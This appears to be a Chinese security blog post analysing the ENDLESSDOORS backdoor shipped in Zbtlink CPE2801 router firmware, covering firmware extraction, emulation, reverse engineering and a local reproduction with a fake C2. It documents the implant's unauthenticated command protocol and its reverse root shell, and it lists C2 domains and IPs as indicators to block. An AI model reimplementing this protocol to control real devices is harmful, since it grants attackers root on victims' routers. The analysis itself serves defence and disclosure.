Endlessdoors后门事件详细分析之 - Zbtlink路由器 后门分析

后门漏洞ENDLESSDOO
2026-08-13 06:58
24988

Endlessdoors后门事件详细分析之 - Zbtlink路由器 后门分析

漏洞概述

该固件出厂即内置了 ENDLESSDOORS 远控植入体。设备一旦启动,它便以 root 权限伪装成 kworker 内核线程常驻运行——全程不监听任何本地端口,因此常规端口扫描、入站防火墙规则都发现不了它。相反,植入体会周期性地主动向硬编码的 C2 服务器发起一条未认证、未加密的 TCP 连接:端口 7000 作命令通道,端口 7001 作交互式 shell 回连。

收到指令后,植入体直接以 root 身份调用 popen() 执行任意命令并回传结果;其中一条特殊指令 rctlbash 会当场拉起一个完整的交互式 root shell。由于整条信道全程零认证,任何能够触达该 C2 地址、劫持设备 DNS/路由,或掌握其备用域名的一方,都能向设备下发命令、直接拿到完全 root 权限。而"设备主动外联"这一特性,更让 NAT 与防火墙形同虚设。

一、信息收集

从Zbtlink官网下载对应固件。

1.1 binwalk

binwalk -E					// 先观察是否加密,如果整个固件被加密,熵值应该普遍接近 1.0,这里应该是没有

image.png

binwalk -Me					// 提取出文件系统,是squashFS文件系统共

1.2 查看架构以及保护

file ./bin/busybox
checksec ./bin/busybox

image.png

判断是 mips32 位 小端序 的架构

1.3 启动项分析

进入到 ./etc/init.d 中我们发现 有个 uhttpd 文件

image.png

image.png

然后在 /etc/config 中找到了 uhttpd 进去观察

image.png

从这里可以得知 其文档的根目录www 且 HTTP 请求路径 /ubus 需要 转发到 ubusd 的 Unix socket , 以及开启些必要服务

# 1. 启动系统基础
/etc/init.d/boot start         # 挂载文件系统、创建设备节点

# 2. 启动系统服务
/etc/init.d/system start       # 系统配置

# 3. 配置网络
/etc/init.d/network start      # 初始化网络接口

# 4. 启动 ubus(系统总线,关键!)
# ubusd 通常在 boot 阶段启动,检查是否运行
busybox ps | grep ubusd

# 5. 启动 Web 服务器
/etc/init.d/uhttpd start

1.4 ubusd

ubusd(通用总线守护进程)— OpenWrt 的系统消息总线

在做 chroot 仿真时,ubusd是必须第一个启动的进程。因为所有其他服务(boot、uhttpd...)启动时都会尝试连接 /var/run/ubus.sock

image.png
而 boot 文件下带有很多的运行所需的相关文件

所以模拟的大致流程就是 ubusd → boot → uhttpd

二、固件模拟

cp $(which qemu-mipsel-static) ./

先进行挂载

sudo mount --bind /proc proc
sudo mount --bind /sys sys
sudo mount --bind /dev dev
sudo chroot ./ ./qemu-mipsel-static ./bin/busybox sh

rm -rf /var
rm -rf /tmp

mkdir -p /var/run
mkdir -p /var/log
mkdir -p /var/lock
mkdir -p /var/state
mkdir -p /tmp
chmod 777 tmp

./etc/init.d/boot start
./etc/init.d/system start
./etc/init.d/network start
busybox ps | grep ubusd
./etc/init.d/uhttpd start

image.png

尝试运行发现缺失 ubus,启动 ubus

./sbin/ubusd > /tmp/ubusd.log 2>&1 &

运行后出现 ubus.sock文件

image.png
uhttpd_ubus 插件需要它转发 /ubus 请求

image.png

./etc/init.d/uhttpd start
./usr/sbin/uhttpd -f -h /www -p 0.0.0.0:8080		//  设置端口为8080

浏览器进行访问,以默认密码 admin 登录

image.png

三、漏洞分析

目标:squashfs-root/usr/sbin/kworker(ENDLESSDOORS 植入体,rctl 定制版,MIPS32el/mips16,无节头但符号表残留,函数名可直接看到 rctllink/bashfrom/ssend_cmd 等)。

3.1 静态逆向

逆向结论(关键函数与地址):

函数地址行为
main0x4019a0open("/var/run/kworker.pid") + flock 保证单实例(已有实例则静默退出,退出码 0);随后 rctl()daemon(0,0)pause()
_rctl (sub_4033E8)0x4033e8构造 39 字节注册包:strncpy(class, 0x21) 取 33 字节类别标签,再 socket+ioctl(SIOCGIFHWADDR=0x8927) 取 wan 口 MAC 追加 6 字节;随后 pthread_create 拉起工作线程
rctllink0x402e68主循环:gethostbyname(server)connect 端口 7000(失败 sleep(30) 重试,并尝试 super 备选 online-string.com);连接成功后 Send(fd, 注册包, 0x27);之后循环 srecv_cmd 收命令
srecv_cmd0x404750命令帧格式:4 字节大端长度(ntohl)+ 命令字符串
命令分发0x4032eaprintf("cmd: %s")strcmp(cmd, "rctlbash"):相等则 bashfrom();否则 strncat(cmd, " 2>&1")popen(cmd, "r") 直接以 root 执行(0x402fac),fread 回显经 Send 裸发回,末尾补 exec success: %s / exec fail: %s
bashfrom0x4039b0fork → 屏蔽信号 → posix_openpt/grantpt/unlockpt/ptsname 建 PTY → 把控制连接的对端 sockaddr 端口改为 htons(bashport=7001)connect 回连(0x403cce)→ setsidopen(pts)dup2 0/1/2 → execlp("/bin/sh"),即交互式 root shell

配置解析为 gengetopt:-f(默认 /etc/kworker.cfg)、-w wan(默认 eth0)、-c class-s server--super(默认 online-string.com)、--port(默认 7000)、--bashport(默认 7001)、-d debug--daemon。本固件 etc/kworker.cfg 内容为 class="LK826-WD"server="zbtctl.epplink.net",协议词汇表确实只有两条:"以 root 跑这条命令""给我一个 root shell",全程零认证

main

image.png

_rctl

image.png

image.png

Send(fd, 注册包, 0x27) 之后循环 srecv_cmd 收命令

image.png

sercvc_md

image.png

命令分布

image.png

fread回显经Send裸发回,末尾补exec success: %s/exec fail: %s

image.png

bashfrom

fork派生一个子进程

image.png

将部分信号加入屏蔽掩码 防止过程中收到 HUP(信号) 被终止

image.png

posix_openpt/grantpt/unlockpt/ptsname 建 PTY

image.png

image.png

image.png

image.png

把控制连接的对端 sockaddr 端口改为 htons(bashport=7001) connect 回连(0x403cce)

image.png

setsid 创建新会话

image.png

open(pts)打开 slave 端

image.png

dup2 0/1/2 重定向标准流

execlp("/bin/sh"),即交互式 root shell

image.png

3.2 动态复现(QEMU 用户态 + 伪造C2)

伪造 C2 脚本 fake_c2.py:监听 7000/7001

C2 下发命令后 fork()+exec() 产生的子进程,父子都改名伪装成 kworker

kworker 与 C2 之间使用 自定义 TCP 二进制协议

<客户端注册>
kworker → C2:  [class名称 + MAC地址](二进制格式) 
收 39 字节注册包并解析 class/MAC

<命令下发格式>
C2 → kworker: [4字节 BE 长度] [命令字符串]  
下发 `id`、`cat /etc/os-release`

<响应格式>
kworker → C2: [4字节 BE 长度] [执行结果]  
最后发 `rctlbash` 接收 7001 反弹 shell 并自动敲几条命令留证

依据上面流程构造 fake_c2.py(比较简单且冗长,就此带过)

python3 fake_c2.py   # 先启动

植入端启动(无需 sudo,用 user namespace 代替 chroot 特权):

cd _CPE2801_V22.10.09.bin.extracted/squashfs-root

# 1. 把 C2 域名指到本地(qemu 用户态网络直通宿主机,DNS 走 chroot 内 /etc/hosts)
echo '127.0.0.1 zbtctl.epplink.net' >> etc/hosts

# 2. devpts 必须新建实例并把新实例的 ptmx 绑到 dev/ptmx,
#    否则 posix_openpt 报 ENOENT,rctlbash 反弹 shell 起不来(本次复现最大的坑)
unshare -rm sh -c '
  mount --bind /dev/null dev/null; mount --bind /dev/urandom dev/urandom
  mkdir -p dev/pts
  mount -t devpts -o newinstance,ptmxmode=0666,mode=0620 devpts dev/pts
  mount --bind dev/pts/ptmx dev/ptmx
  export LD_PRELOAD=/lib/nodaemon.so
  chroot . ./qemu-mipsel-static /usr/sbin/kworker -d 7'

image.png

nodaemon.so~/Tools/toolchains/mips32el--musl--stable-2024.02-1 里的交叉 gcc 编译,内容就是 int daemon(int a,int b){return 0;} 加一个把 syslog 转到 stderr ,已放在 squashfs-root/lib/。不加它也能跑,只是进程 daemonize 后日志不可见,且会脱离命名空间残留在宿主机上(unshare 没建 pid ns),复现完记得 ps aux | grep qemu-mipsel 清理,否则 flock 被占,后续实例全部静默退出

复现结果(fake_c2.py 输出):

[+] 植入端连接: 127.0.0.1:55078
[+] 注册包(39 字节): class='LK826-WD' mac=00:0c:29:7c:13:35
[*] 下发命令: 'id'
[+] 回显:
uid=0(root) gid=0(root) groups=...,0(root)
[*] 下发 rctlbash, 触发反弹 shell ...
[+] 反弹 shell 来自 127.0.0.1:49968  (PTY + /bin/sh, uid=0)
/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # uname -a
Linux iotseczone 6.8.0-136-generic ...  mips GNU/Linux
/ # cat /etc/kworker.cfg
wan= "ens33"
class= "LK826-WD"
server= "zbtctl.epplink.net"

image.png

image.png

植入端 -d 7 调试日志同步印证了协议全流程:

rctl.c +93  r_connect(): DEBUG: Try 127.0.0.1 port: 7000
rctl.c +97  r_connect(): DEBUG: connect success
common.c +125 srecv_cmd(): DEBUG: recv command: id
common.c +125 srecv_cmd(): DEBUG: recv command: rctlbash
bash.c +54  bashfd(): DEBUG: connect success        <- 回连 7001 成功

image.png

image.png

image.png

image.png

image.png

3.3 结论

  • CPE2801 V22.10.09 固件实锤内置 ENDLESSDOORS 后门:/usr/sbin/kworker + /usr/lib/librctl.so + /etc/kworker.cfg + /etc/init.d/skworker 四件套齐全,主 C2 为 zbtctl.epplink.net,与 VulnCheck 报告一致(CVE-2026-66747)
  • 攻击者只要能控制 C2 域名解析/网络路径(或厂商基础设施本身),即可对全网该型号设备远程以 root 执行任意命令或拿交互式 shell;设备主动外联,NAT/防火墙无效
  • 无修复固件。处置:按型号清点资产;出口/DNS 封禁 zbtctl.epplink.netonline-string.comrbdg4nzqadui.wikaba.com47.100.190.9647.107.224.8945.32.81.15243.248.136.125;对 7000/7001 出站告警;建议直接更换设备
分享到

参与评论

0 / 200

全部评论 4

Legion_的头像
师傅带带带带
2026-08-14 06:59
能混的头像
牛🤬学习到了
2026-08-14 06:30
皮皮先生的头像
学习中
2026-08-13 15:39
刘为民的头像
dddd
2026-08-13 08:01
投稿
签到
联系我们
关于我们